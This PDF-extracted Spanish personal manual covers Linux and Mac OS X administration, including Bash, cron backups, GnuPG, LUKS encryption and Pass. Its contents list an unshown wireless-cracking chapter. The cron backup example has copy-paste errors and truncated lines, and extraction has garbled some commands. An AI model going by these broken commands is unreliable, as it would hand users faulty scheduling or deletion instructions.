Howto – Linux y Mac OS X

Carlos E. Tafur Egido 8 de febrero de 2016

Índice general

(0.1	Notación	3
[]	Linu	ux en general	5
	1.1	Apagar, suspender y reiniciar	5
	1.2	Bash	5
		1.2.1 Bash en Linux	6
		1.2.2 Bash en Mac OS X	6
	1.3	Buscar ficheros con un nombre en concreto en un directorio	7
	1.4	Comandos de control	7
	1.5	Programar tareas con el demonio Cron	8
	1.6	Hacer copias de seguridad con Déjà Dup	9
	1.7	Instalar Dropbox	9
	1.8	Eliminar un directorio de su sistema mediante el shell	10
	1.9	Enpass	10
		Usar tarjetas SD con sistema de ficheros exFAT	10
	1 11	Instalar las fuentes Adobe Source	11
		Instalar las fuentes Linux Libertine	11
		Configurar Git	12
		GnuPG	12
	1.17	1.14.1 GnuPG en Linux	12
		1.14.2 GnuPG en Mac OS	13
	1 15	Encriptar un pendrive o un archivo con LUKS/dm-crypt	13
	1.15	Instalar el software emulador de videojuegos Mame	15
	1.10	Instalar las librerías Matplotlib	16
	1.17 1 1 Q	Passwordstore	16
		Gestión de permisos	18
	1.17	1.19.1 Permisos de UNIX	18
		1.19.2 ACLs	19
		1.19.2 ACLS	20
	1 20	Instalar Powerline	20
		Habilitar y deshabilitar la cuenta de root	20
		Tmux	20
			23
		Instalar y desinstalar el software de virtualización Vmware	
		Emulador de terminal en MAC OS X	23
		Homobrovy on Mac OS Y	25

pág. 4 — Howto – Linux y Mac OS X

2	Vim		29
	2.1	Notación	29
	2.2	Arrangue	29
	2.3	Instalación de esquemas de colores	31
	2.4		31
	2.5		32
	2.6		33
	2.7		33
	2.8		34
	2.9		34
	2.10		34
			34
			35
			35
			35
			35
			35
			36
			36
			36
			37
			37
3	$T_{E}X$		39
	3.1	Instalar TEX Live en Linux	39
	3.2	Desinstalar TEX Live	11
	3.3	Actualizar a una versión nueva de TEX Live	11
	3.4	Instalación de un paquete	12
	3.5		12
	3.6		13
	3.7		14
	3.8	Paquetes que suelo usar	14
	3.9	Crear un glosario	16
	3.10	Crear un índice de palabras clave	17
4	Ubu		19
	4.1	Tareas post-instalación del sistema operativo	19
	A 1	T.	
5			51
	5.1		51
	5.2		51
	5.3		52
	5.4		52
	5.5		52
	5.6		53
	5.7		53
	5.8		53
	5.9		54
	5.10	Configuración de idioma(s) en Arch Linux	54

	5.11 Instalación básica de Arch Linux en un RbPi2 desde un sistema Linux
	5.12 Instalación complementaria
	5.13 Instalación y configuración del wifi
	5.14 Instalar el cliente de BitTorrent Deluge
	5.15 Instalar Kodi en un RbPi2
	5.16 Conectar su RbPi a un monitor VGA
	5.17 Entorno de escritorio Lxde
	5.18 Entorno de escritorio Xfce
6	Hacking
	6.1 MAC spoofing
	6.2 Cracking de redes wireless con seguridad WEP
	6.3 Cracking de redes wireless con WPS activado

0.1 Notación

Convenciones de ortografía, tipografía y estilo empleadas en la elaboración de este documento:

- Los URIs (o URLs) los pondré siempre empezando por http:// y no terminarán nunca con /.
- Aunque la ASALE dicte en sus obras de gramática que el plural de las siglas o acrónimos debe ser igual que el singular (por ejemplo, el plural de "CD-ROM" sería "CD-ROM"), yo prefiero seguir la costumbre que se sigue en inglés de añadir una s minúscula ("CD-ROMs").
- Usaré el verbo encriptar y sus derivados, en vez de cifrar y sus derivados. Es decir, aceptaré ese extranjerismo al adaptar el término inglés encrypt. Lo hago por una cuestión de utilidad y porque ya está muy aceptado en el ámbito de la informática.
- No aceptaré signos de puntuación como parte de un nombre propio. Esto sucede, por ejemplo, con "Yahoo!"; para mí, el nombre sería "Yahoo". Esta misma regla la siguien algunas publicaciones de prestigio como, por ejemplo, Slate.
- Cuando aparezca alguna interfaz de comandos, lo que esté en negrita es lo que debe introducir usted; lo demás es lo que mostrará el computador. En un listado de código, en principio no pondré nada en negrita; en caso de que lo ponga, diré explícitamente qué quiere decir.
- Como norma general, al explicar que usted debe introducir un comando, pondré el prompt según los permisos que necesite; es decir, si debe ejecutarlo con permisos de administración, ya sea con el usuario root o con el empleo del comando sudo, usaré el prompt #; por otra parte, si el comando puede ejecutarse normalmente con un usuario normal del sistema, usaré el símbolo \$ como prompt. Advierta que, aunque aparezca el prompt # junto al comando a introducir, usted podrá introducirlo aunque le aparezca el prompt \$ si antepone sudo al comando. El prompt no irá en negrita, aunque sí vaya en negrita la parte que usted debe introducir.
- Emplearé normalmente *byte* (símbolo B) para referirme a una palabra de 8 bit. Quizás use en algún caso el término *octeto* (símbolo o).

- Emplearé la notación de prefijos binarios descrita en la normatva ISO/IEC 80000-13. Es decir, usaré prefijos como, por ejemplo, Mi- para multiplicar por 1024 y mantendré Mpara multiplicar por 1000 como siempre se ha hecho en el ámbito científico. Soy consciente de que quizás le resulte extraño este uso, pero así se evitan ambigüedades.
- Cuando se dice "pinche con el ratón en [...]", "haga click con el ratón en [...]" o "haga doble click con el ratón en [...]", deberá interpretarlo como "pinche con el botón izquierdo del ratón en [...]", "haga click con el botón izquierdo del ratón en [...]" o "haga doble click con el botón izquierdo del ratón en [...]", respectivamente.
- Emplearé, principalmente, la terminología informática del ámbito UNIX, en lugar del de Windows. Es decir, usaré *directorio* (*directory*) en vez de *carpeta* (*folder*). También usaré *fiche-ro* como traducción de *file*, en lugar de *archivo*, pues existe en el ámbito de la informática una palabra *archive*, a la que llamaré *archivo*, que es algo así como un empaquetado de uno o varios ficheros; por ejemplo, los ficheros con extensión .tar o incluso .zip.

Capítulo 1

Linux en general

1.1 Apagar, suspender y reiniciar

Para apagar su sistema Linux desde el shell, tradicionalmente la mejor forma ha sido con:

```
$ shutdown -h now
```

Con la opción -r (en lugar de -h) se reiniciaría. No obstante, yo prefiero los comandos de apagado poweroff (apagado), reboot (reinicio) y halt (suspender). Ahora que estas órdenes se ejecutan a tranvés de Systemd, los comandos serán:

```
$ systemctl poweroff
$ systemctl reboot
$ systemctl halt
```

Debe tener ciertos privilegios para poder apagar el sistema. Lo normal es que exista en su sistema un grupo de usuarios, llamado power, con la intención de dar permisos de apagado, suspensión, etc. Una solución para dar dichos permisos puede ser editando el fichero /etc/sudoers (la mejor forma de editarlo es con el comando visudo, pues así evita que varias personas lo puedan modificar simultáneamente):

```
%power ALL=(ALL) NOPASSWD: /usr/bin/systemctl -i poweroff,/usr/bin/systemctl -i
```

NOPASSWD hace que no se le pida su contraseña al usuario al introducir alguno de estos tres comandos

Otra forma, mejor, en mi opinión, de dar este tipo de permisos a los usuarios del grupo power es con el uso de Polkit (vea Polkit).

1.2 Bash

Bash es el shell que uso tanto en Linux como en Mac OS. Hay quien prefiere Zsh, pero a mí no me ha terminado de gustar.

1.2.1 Bash en Linux

La configuración de Bash puede hacerla para un único usuario o para todo el sitema. Las opciones que desea para un usuario, deberá introducirlas en ~/.bashrc. Para todo el sistema (systemwide), la ruta de configuración será /etc/bash.bashrc (en Mac OS X es /etc/bashrc). En principio se aplican ambas configuraciones para su sistema, pero, en caso de contradicción, prevalece para su usuario la de ~/.bashrc. Es decir, se aplican en orden, primero la de todo el sistema y después la del usuario sin restricciones.

Por ejemplo, si desea que el usuario (nom_usuario) use los key bindings de Vi, en lugar de los de Emacs (que son los que normalmente vienen de forma predeterminada en Linux), hay que añadir al arhivo ~/.bashrc lo siguiente:

```
set -o vi
```

Con esto, estará en modo insert al comienzo, pero luego, si lo desea, puede pasar a modo comando, pulsando la tecla esc. A dicho archivo podría añadir muchas otras opciones de configuración; por ejemplo:

```
TERM=screen-256color
```

para usar 256 colores en el emulador de terminal (Gnome Terminal, Konsole, etc.).

Yo, ahora prefiero que las configuraciones se hagan sólo para cada usuario. En mis cuentas en los distintos sistemas que uso, suelo usar la misma configuración, que simplemente tengo que clonarla de mi repositorio de Git.

En Mac OS X existe una peculiaridad. el fichero de configuración, en principio, sería ~/.bash_profile. Así que, lo que hago, es que en dicho fichero sólo dejo:

```
source ~/.bashro
```

y ya puedo usar ~/.bash_profile, como en Linux. En http://apple.stackexchange.com/questions/12993/why-doesnt-bashrc-run-automatically puede encontraar una buena explicación—del usuario koiyu—de cómo difiere en Mac OS X respecto a Linux.

1.2.2 Bash en Mac OS X

Una vez que haya instalado Brew, puede instalar si lo desea el shell Bash por medio de Brew. Si hace esto tendrá entonces dos versiones de dicho programa. Algo que no permite la versión antigua es hacer autocompletion de Pass (Passwordstore). Para instalarlo mediante Brew, introduzca:

```
$ brew install bash
```

También, vuelvo a instalar el paquete bash-completion, aunque quizás ya lo tenga

```
$ brew install bash-completion
```

Ahora, debería configurar los programas de Mac OS para que tengan como ruta del shell la de la versión nueva. Es decir, en lugar de tener /bin/bash, deberán usar /usr/local/bin/bash. Por ejemplo, en la aplicación Terminal, en el menú Terminal, en Preferences, en la pestaña General, en Shells open with: ->Command (complete path): deberá introducir /usr/local/bin/bash.

También debería abrir una ventana de terminal e introducir:

```
$ chsh -s /usr/local/bin/bash
```

Si desea que este nuevo Bash sea también el shell para root, tendrá que introducir este mismo comando anteponiéndole sudo.

Otra cosa que debe hacer es ir a System Preferences, pinchar en Users & Groups, Pinchar sobre el candado para desbloquear la ventana de configuración y poder realizar cambios. Se le pedirá, para esto, que introduzca su contraseña de usuario administrador. Pinche con el botón derecho sobre su usuario y aparecerá un menú en el que pone Advanced Options... Ahora aparecerá una nueva ventana. En el menú desplegable junto a Login shell: introduzca la ruta absoluta de su nuevo shell; es decir, /usr/local/bin/bash y pinche en OK.

1.3 Buscar ficheros con un nombre en concreto en un directorio

Para buscar los ficheros que tengan nombre $\langle file \rangle$ dentro del directorio $\langle dir \rangle$, incluyendo los directorios que están dentro (es decir, búsqueda recursiva), debrá introducir:

```
\$ find \langle dir 
angle -iname '\langle file 
angle'
```

Deberá tener cuidado, puesto que el nombre $\langle file \rangle$ debe coincidir exactamente con el que busca; no vale con que contenga dicha cadena.

1.4 Comandos de control

Existe una serie de comandos para el control de las tareas (*jobs*) de Linux. En la tabla 1.1 hay una lista de los más importantes.

Si tiene un proceso que se ha abierto mediante la ejecución de algún comando de shell y desea pasarlo ahora a segundo plano, puede hacerlo con la combinación de teclas ctrl + ctrl El shell le indicará que el proceso se encuentra detenido. Con

```
$ (comando) &
```

se abriría directamente en segundo plano el proceso que invoca el comando (comando).

Si lo desea, puede hacer que se ejecute en segundo plano cualquier proceso, no sólo los que haya arrancado mediante un comando de shell. Para esto, deberá buscar el número de proceso $\langle núm \rangle$ que tiene asignado actualmente dicho proceso en su sistema operativo (por ejemplo, con el comando top o htop) e introducir:

```
$ bg %\langle núm \rangle
```

Comando	Descripción
jobs	Muestra las tareas actuales.
fg	Reanuda la próxima tarea de la lista.
fg \% <núm></núm>	Reanuda la tarea número $\langle núm \rangle$.
bg	Pone en segundo plano (background) la siguiente tarea de la lista.
bg \% <núm></núm>	Pone en segundo plano la tarea número $\langle núm \rangle$.
kill \% <núm></núm>	Mata la tarea con número $\langle núm \rangle$.
kill <señal> \%<núm></núm></señal>	Envía la señal $\langle señal \rangle$ a la tarea con número $\langle núm \rangle$.
disown \% <núm></núm>	Elimina la pertenencia (<i>disown</i>) del proceso (el terminal ya no
	será más el dueño) de modo que el comando vivirá incluso tras
	cerrar el terminal.

Tabla 1.1 – Comandos de control más útiles en Linux

1.5 Programar tareas con el demonio Cron

Algo que solía hacer en Linux era programar, con el uso del demonio Cron, la copia en local de los ficheros importantes de mi sistema. Luego, pasé a usar otras herramientas, como, Déjà Dup en Ubuntu (vea ??) o Time Machine en Mac OS X. No obstante, dejo aquí la explicación de cómo usaba Cron, pues puede venir bien si deseo automatizar otras tareas o si tengo que usarlo en algún sistema antiguo en el trabajo. Creo que Cron es una herramienta que quedará obsoleta cuando se imponga Systemd en el mundo de Linux, dentro de poco.

Lo que hacía era guardar, en el directorio ~/Backups, copias de seguridad diarias de los ficheros k-yo y cecom. Este directorio debe tenerme a mí como propietario y estar en mi grupo; estas dos cosas se consiguen con los comandos chown y chgroup (o, simplemente, teniendo cuidado de no crearlos como root, sino con mi cuenta principal de usuario).

En su shell introduzca el comando:

```
$ crontab -e
```

Esto edita el fichero de configuracion de Cron del usuario que lo invoca. Creo que le pregunta, la primera vez que lo ejecuta, qué editor desea usar. Luego, a la hora de editar ese fichero, introduzca lo siguiente:

```
10 2 * * 1 rm -rf /home/zfur/backups/k-yo-lun
15 2 * * 1 cp /home/zfur/Dropbox/Documentos/otros/k-yo /home/zfur/backups/k-
10 2 * * 2 rm -rf /home/zfur/Backups/k-yo-mar
15 2 * * 2 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
10 2 * * 3 rm -rf /home/zfur/Backups/k-yo-mie
15 2 * * 3 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
10 2 * * 4 rm -rf /home/zfur/Backups/k-yo-jue
15 2 * * 4 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
10 2 * * 5 rm -rf /home/zfur/Backups/k-yo-vie
15 2 * * 5 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
10 2 * * 6 rm -rf /home/zfur/Backups/k-yo-sab
15 2 * * 6 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
10 2 * * 0 rm -rf /home/zfur/Backups/k-yo-dom
15 2 * * 0 cp /home/zfur/Dropbox/Documentos/Otros/k-yo /home/zfur/Backups/k-
```

```
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-lun
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-mar
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-mie
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-jue
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-vie
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-sab
25 2 * * 1 cp /home/zfur/Backups/cecom-sab
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
20 2 * * 1 rm -rf /home/zfur/Backups/cecom-dom
25 2 * * 1 cp /home/zfur/Dropbox/Documentos/Importante/cecom /home/zfur/Backups/cec
```

En este ejemplo, se ha programado Cron para que a las 2:10 am se elimine el fichero k-<dÃŋa-semana> del directorio ~/Backups y 5 minutos después haga una copia del mismo fichero. Lo mismo con el fichero cecom, pero a otras horas.

1.6 Hacer copias de seguridad con Déjà Dup

Déjà Dup es el software que usaba en Linux para hacer mis copias de seguridad. Ahora mismo uso Time Machine, en Mac OS X, que es el sistema operativo que uso ahora en mi sistema principal, para hacer copias de seguridad de mi sistema. Mi intención es montarme un servidor casero de copias de seguridad haciendo uso de un Raspberry Pi 2 y el comando rsync de Linux.

Déjà Dup es un front-end de Duplicity; ambos vienen de serie al instalar Ubuntu de escritorio (al menos, en las versiones 12.04 y 14.04, que son las que yo he usado últimamente). Lo tengo configurado para que haga copias de seguridad incrementales con frecuencia diaria y se almacenen copias como mínimo de los últimos 6 meses, siempre y cuando lo permita el espacio disponible en la unidad de almacenamiento que uso, que es un pendrive de 32 GiB de marca Verbatim. Las copias se hacen en el directorio /backups en dicho pendrive; es decir, el directorio, una vez automontada la unidad, es /media/zfur/backups. También hago copias en DVD+Rs externos con la grabadora de discos ópticos que tengo para tener copias en ubicaciones y formatos distintos. Los directorios que tengo seleccionados para hacerles copias de seguridad se muestran en la tabla 1.2.

1.7 Instalar Dropbox

Tengo que ver cuál de las dos formas es mejor: la del paquete .deb o la que se hace por shell. Quizás ésta última no permita las actualizaciones automáticas y además necesite ejecutar el demonio manualmente al arrancar el sistema operativo. La explicaciones de estas instalaciones se encuentran la web oficial de Dropbox. Aun así, me ha dado problemas al tratar de usarlo en

Directorio	Descripción
~/documents	Aquí tengo apuntes que no deseo que estén en el directorio de Dropbox.
~/Dropbox	Es mi directorio principal para todos mis documentos. Está sincronizada, obviamente, con la nube de Dropbox.
~/.passwordstore	Son las entradas que uso en el software PASS para gestionar mis claves de acceso.
~/docs-other	Aquí guardo, principalmente, libros y apuntes.

Tabla 1.2 – Directorios a guardar en Déjà Dup

varios sistemas operativos distintos como, por ejemplo, Linux y Windows. Creo que lo mejor es usar un servicio de almacenamiento en la nube para cada sistema operativo.

1.8 Eliminar un directorio de su sistema mediante el shell

Para eliminar un directorio de su sistema, incluyendo todos sus ficheros y subdirectorios, haciendo uso de su shell de Linux o de Mac OS X, deberá introducir el comando siguiente:

$$m - rf \langle dir \rangle$$

donde $\langle dir \rangle$ es el directorio que desea eliminar. Esta explicación la pongo aquí porque no es muy intuitivo este proceso. El comando rmdir sólo sirve para eliminar directorios vacíos.

1.9 Enpass

Este gestor de claves funciona por una GUI y existe para los principales sistemas, incluidos Linux y Android. Puedo usar mi cuenta de Dropbox o de Google Drive para sincronizar las claves entre los distintos clientes que use, lo cual es muy cómodo, pues puedo escribir las claves en mi portátil con Ubuntu y luego, al sincronizar, las tengo en mi móvil Android. La única limitación es que la versión gratuita de Android tiene un límite de 20 claves. La versión de pago creo que es un servicio de pago mensual; tengo que informarme. Ahora mismo, para gestionar mis claves, uso Pass (también conocido como Passwordstore; vea Passwordstore), pero estaría bien tenerlas también en otro gestor como Enpass por si las pierdo. Aun así, hay que tener cuidado con este tipo de programas. Lo mejor es usar alguno que esté muy contrastado que no tiene problemas de seguridad.

1.10 Usar tarjetas SD con sistema de ficheros exFAT

Creo que lo aconsejable es usar algún formato de archivo que sepamos que funciona bien en Linux, como EXT4 o FAT (de 16 o 32 bit), por ejemplo; aunque debe tener en cuenta que para FAT el tamaño máximo de fichero es de 4 GiB. Las distribuciones de Linux no traen el software necesario para escribir en particiones con formato NTFS; para poder usarlo, deberá instalar el paquete ntfs-3g, y nadie le garantiza que le vaya a funcionar bien—aunque también es cierto

que ya no suele dar problemas—. En definitiva, si desea compatibilidad con Windows, use FAT; si desea usarlo sólo para Linux y otros sistemas UNIX, es mejor que use EXT4, o, en un futuro, cuando sea lo bastante estable, algún otro sistema de ficheros más moderno, como BTRFS. De todos modos, no creo que tengan mucho futuro las tarjetas SD, pues, bajo mi punto de vista, el almacenamiento externo se hará normalmente a través de la nube cuando las redes tengan mayor capacidad en unos años.

Si desea usar una tarjeta SD (o microSD, nanoSD, etc.) en Linux manteniendo el sistema de ficheros exFAT, que es el que suelen traer este tipo de tarjetas—aunque en realidad pueden usar casi cualquier sistema de ficheros—, lo que debe hacer primero es instalar el programa Fuse, pues las distribuciones de Linux no suelen traer instalado el software para usar exFAT. Esto, en Ubuntu, se hace del modo siguiente:

añada el repositorio relan/exfat

```
# add-apt-repository ppa:relan/exfat
```

2. actualice la lista de paquetes e instale el paquete fuse-exfat

```
# apt-get update
# apt-get install fuse-exfat
```

Una vez instalado el programa Fuse, deberá actuar según lo que desee. Si desea configurar el automontado de dichas tarjetas, deberá configurarlo o, si usa un entorno de escritorio, se puede configurar solo, sin que tenga que hacer nada usted (vea Automontar).

1.11 Instalar las fuentes Adobe Source

Las fuentes Adobe Source son un grupo de fuentes de gran calidad que liberó la empresa Adobe, referente en el mundo del diseño y la tipografía. Estas fuentes creo que ya se instalan al instalar la versión completa del software TEX Live, así que, antes de instalarlas, es bueno asegurarse de que no están ya instaladas.

Las fuentes que he elegido para descargar son las OTF (OpenType format), que son, junto con las TTF (TrueType format) la tecnología de fuentes perfiladas (*outline*) que más se emplean actualmente. Para instalarlas, basta con que ejecute el script de Bash cuya ruta es ~/Dropbox/Documentos/scripts/f-adobe-source.sh.

1.12 Instalar las fuentes Linux Libertine

Las fuentes Linux Libertine son una familia de fuentes tipográficas de gran calidad que se pueden usar en los sistemas Linux. Al igual que con las Adobe Source (vea Instalar las fuentes Adobe Source), he elegido usar la versión en OTF en lugar de las TTF. Puede que tenga instaladas estas fuentes si ha instalado TFX Live, así que, cerciónese antes de instalarlas.

Para instalarlas, basta con ejecutar el script de Bash cuya ruta es ~/Dropbox/Documentos/scripts/f-linux-libertine-source.sh.

1.13 Configurar Git

Antes de nada, conviene especificar que Git no es la herramienta perfecta para almacenarlo todo en la nube. Es decir, es una herramienta increíblemente útil para crear proyectos de software
de forma colaborativa o para que gente ajena a la empresa que crea cierto software pueda contribuir dando ideas o corrigiendo errores de software libre u open-source. Pero, por ejemplo, no
es la herramienta ideal para almacenar muchos de sus ficheros personales. La razón de esto es
la comodidad: no es cómodo tener que hacer un commit por línea de comandos cada vez que
desea subir una foto a la nube. Para eso hay otras herramientas más adecuadas, como Dropbox,
Google Drive, etc. Aun así, sí es cierto que mucha gente lo usa para tener un repositorio de ciertos ficheros de configuración de su sistema, como, por ejemplo, los de configuración de Bash o
de Vim.

Si en su shell de Linux o de Mac OS X introduce

\$ man gittutorial

podrá leer un buen tutorial sobre lo básico de Git. Todo lo básico que deseaba explicar aquí, está escrito en el tutorial.

1.14 GnuPG

GnuPG (o GPG) es un software que implementa el sistema PGP (Pretty Good Privacy) para poder usar criptografía asimétrica (también llamada *de clave pública*). Me sirve, además de para enviar y recibir mensajes encriptados, para poder usar el software Pass en Linux y así guardar una lista con mis claves.

1.14.1 GnuPG en Linux

En Ubuntu, hago copias de seguridad incrementales diariamente de este directorio mediante el software Déjà Dup (vea Hacer copias de seguridad con Déjà Dup). En Fedora, no uso nada parecido, de momento. Tampoco es problema, ya que dicho sistema operativo lo uso en una máquina virtual en un Mac, del que sí hago backups. En Fedora, al menos, no debe preocuparse por instalar GnuPG, pues se instala con la instalación normal del sistema operativo.

Un manual muy bueno de cómo usar GnuPG se puede encontrar en https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages-on-an-ubuntu-12-04-vps.

Para copiar un par de claves privada-pública a otro computador con Linux, deberá hacer lo que se explica en la web https://www.phildev.net/pgp/gpg_moving_keys.html. Una vez que haya importado sus claves al nuevo computador, debrá configurar Git y Pass si desea usarlos para almacenar de forma remota sus claves (vea Configurar Git y Passwordstore).

1.14.2 GnuPG en Mac OS

El software GnuPG no viene instalado de forma predeterminada en Mac OS X, así que si quiere tenerlo lo tendrá que instalar:

```
$ brew install gpg
```

Para importar claves, puede consultar el sitio https://www.phildev.net/gpg/gpg_moving_keys.html.

1.15 Encriptar un pendrive o un archivo con LUKS/dm-crypt

LUKS significa Linux Unified Key Setup, y es un método de encriptación que se implementa en Linux por medio del paquete cryptsetup, y, en Windows, por FreeOTF. Este tutorial es prácticamente una copia del que aparece en https://balau82.wordpress.com/2011/08/25/encrypting-data-on-usb-flash-drives-with-luks/, aunque algunas cosas las he hecho de modo distinto. Aun así, creo que Google ha creado encriptación a nivel del sistema de ficheros EXT4 y este desarrollo lo ha liberado como software libre; creo que se implementará a partir de las versiones 4.1 o 4.2 del núcleo de Linux.

Antes de nada, deberá tener instalada la herramienta Cryptsetup en su distribución de Linux. Para las que usan el sistema de paquetes APT, se hará con:

```
# apt-get install cryptsetup
```

Para Windows, se deberá instalar la herramienta FreeOTF.

Una vez hecho esto, los pasos a seguir son los siguientes:

1. Inserte el medio removible (como, por ejemplo, el pendrive) y pruebe con el comando lsblk el dispositivo (device) que se crea para acceder a éste. Lo normal es que sea /dev/sd<x>, siendo $\langle x \rangle$ una letra mayor que a. Si no está seguro de cuál es el dispositivo, no siga, pues podría perder los datos de alguna partición de alguno de sus discos duros. Para el caso de ejemplo que mostramos aquí, supondremos que el dispositivo es /dev/sdc. En la web original donde aprendí este proceso, decían que se usase el comando dmesg, pero creo que es más sencillo de ver con lsblk.

```
# fdisk /dev/sdc
Command (m for help): o
Building a new DOS disklabel with disk identifier 0xe6978b70.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.
Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite
Command (m for help): w
The partition table has been altered!
```

¹Para ver la terminología y notación que se emplea en este documento, incluida la polémica de los términos *encriptar* y *cifrar*, y ea Notación

```
Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or r
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.

Ahora deberá crear una nueva partición que albergue la información encriptada:

# fdisk /dev/sdc
Command (m for help): n
Command action
e extended
p primary partition (1-4)
p
```

Last sector, +sectors or +size{K,M,G} (2048-62530623, default 62530623 Using default value 62530623

Calling ioctl() to re-read partition table

WARNING: Re-reading the partition table failed with error 16: Device of the kernel still uses the old table. The new table will be used at the next reboot or after you run partprobe(8) or kpartx(8) Syncing disks.

3. La partición es ahora accesible en Linux en /dev/sdc1. Tras esto, formateo la partición usando la herramienta luksFormat de Cryptsetup, creando una partición encriptada con LUKS con una palabra de paso. Antes de esto, no obstante, debo desmontar la unidad, sacar el pendrive y volver a introducirlo en el puerto USB, pues, si no hago esto, no me dejará formatearlo (pondrá Cannot, format, device /dev/sdc1 wich is still in use.):

```
# cryptsetup luksFormat /dev/sdc1
```

```
WARNING!
======
This will overwrite data on /dev/sdd1 irrevocably
Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase:
Verify passphrase:
```

4. Ahora, necesito formatear la partición desencriptada. La elección del sistema de archivos dependerá del uso que le vaya a dar al pendrive: si quiero usarlo tanto en Linux

como en Windows, necesitaré seleccionar FAT32 (vfat); si se va a usar solo para Linux, puedo usar otro. Para formatear la partición desencriptada, necesito usar el comando luksOpen de Cryptsetup y mapear un dispositivo, que yo llamo LUKSO01 (el mapeado se hace también con el comando luksOpen). El dispositivo mapeado estará presente en /dev/mapper/LUKSO01. Tras esto, podemos formatear el dispositivo mapeado (con nombre LUKSO01) y cerrarlo:

```
# cryptsetup luksOpen /dev/sdc1 LUKSO01
Enter passphrase for /dev/sdc1:
# mkfs.vfat /dev/mapper/LUKSO01 -n LUKSO01
mkfs.fat 3.0.26 (2014-03-07)
unable to get drive geometry, using default 255/63
# cryptsetup luksClose LUKSO01
```

5. Ahora podemos desconectar el pendrive y volverlo a conectar. Debería aparecer automáticamente un cuadro de diálogo cuando conectamos el pendrive pidiéndonos la palabra de paso. El autor del artículo en el que me baso, dice que ha comprobado que funciona con los entornos de escritorio Gnome y XFCE. Yo lo he hecho con Ubuntu 14.04, que usa Unity, que se basa en Gnome.

A la hora de copiar ficheros de gran tamaño en la unidad encriptada, notará que tarda bastante. Es normal, al estar encriptada.

1.16 Instalar el software emulador de videojuegos Mame

El programa Mame que solía usar es el que se llama Mame en el Software Center de Ubuntu. Tiene muy buenas opiniones en el Software Center. Una vez instalado dicho programa, conviene hacer que las ROMs las almacenemos en nuestro directorio personal (es decir, en nuestro home). Esto se puede hacer del siguiente modo.

1. Cree el directorio roms/ en ~/.mame/:

```
$ mkdir ~/.mame/roms
```

 Cree luego un enlace simbólico en el directorio /usr/local/share/games/mame/ y llámelo roms; se hace así:

```
# ln -sd /usr/local/share/games/mame/ roms
```

3. Ahora ya puede almacenar sus ROMs en su directorio personal y no perderlas si formatea el equipo y se acuerda de guardar los datos de su directorio personal.

Conviene advertir de que lo normal es que las ROMs que funcionan con nuestro programa emulador son las que tienen la misma versión que éste, cosa que no siempre es fácil de encontrar. Aun así, creo que para jugar a emuladores lo mejor es usar un dispositivo que usemos solo para eso. Por ejemplo, un ordenador no muy potente puede servirle o una Raspberry Pi. El problema de la Raspberry Pi es que, aunque tenga potencia para ejecutar los juegos (al menos, la versión 2), la mayoría de las ROMs están hechas para arquitectura x86, no para ARM. Así que tiene que usar programas para convertirlas. En Raspberry Pi la mejor forma de instalar emuladores suele ser usando la distribución de Linux Retropie o usando alguna de media center (como, por ejemplo, Kodi) y posteriormente instalar algún plugin para ejecutar ROMs. Además

de emuladores de máquinas recreativas (Mame), puede encontrar también emuladores de otras plataformas como, por ejemplo, las videoconsolas de Nintendo, Sony Playstation, etc.

1.17 Instalar las librerías Matplotlib

Para poder instalar Matplotlib se necesita tener instalado Ghostscript (se instala solo con la versión completa de TEX Live), la librería de Python NumPy, también se aconseja tener instalado iPython,

```
# apt-get install python-numpy python-scipy python-matplotlib python-pandas py
```

1.18 Passwordstore

El software Pass (también conocido como Passwordstore) usa algún software compatible con PGP, como GnuPG (vea GnuPG). Por lo tanto, antes de nada, debe tener una clave PGP configurada en su sistema. Al basarse en ficheros cifrados con GnuPG, tienen extensión de nombre de fichero .gpg. Estos ficheros se encuentran ubicados en ~/.password-store, de modo que es conveniente incluir dicho directorio también en la copia de seguridad que haga periódicamente en su sistema. También podrá tener una copia en un repositorio de Github, tal y como se explicará aquí.

Antes de instalar Pass, necesita crear o importar un par de claves privada-pública de PGP en su sistema (vea GnuPG), pues, sin ese par de claves, no podrá encriptar/desencriptar.

En la web www.zx2c4.com/projects/password-store/ hay un manual de cómo se usa el software Pass. Más sencillo es recurrir a la ayuda man desde su shell de Mac OS X o Linux.

A continuación se expone el proceso para configurar en una máquina nueva (es decir, reciér formateada/borrada...) sus claves cifradas de Pass haciendo uso de un repositorio de Github.

Lo primero que debe hacer es crear un repositorio nuevo de Github, ya sea en la web, er aplicación, etc.

Una vez hecho esto, deberá configurar en su sistema el nombre de usuario y el e-mail de su cuenta de Github:

```
$ git config --global user.name "\langle git\_user \rangle" $ git config --global user.email "\langle e\text{-}mail \rangle"
```

Si tiene otros repositorios en su sistema, este paso se lo puede saltar, pues lo habrá hecho er algún otro momento anterior. En mi caso, $\langle git_user \rangle$ es zfur y, $\langle e-mail \rangle$, ctafur@gmail.com Ahora, inicialice un nuevo almacén de contraseñas (password store):

```
\$ pass init \langle e	ext{-}mail
angle
```

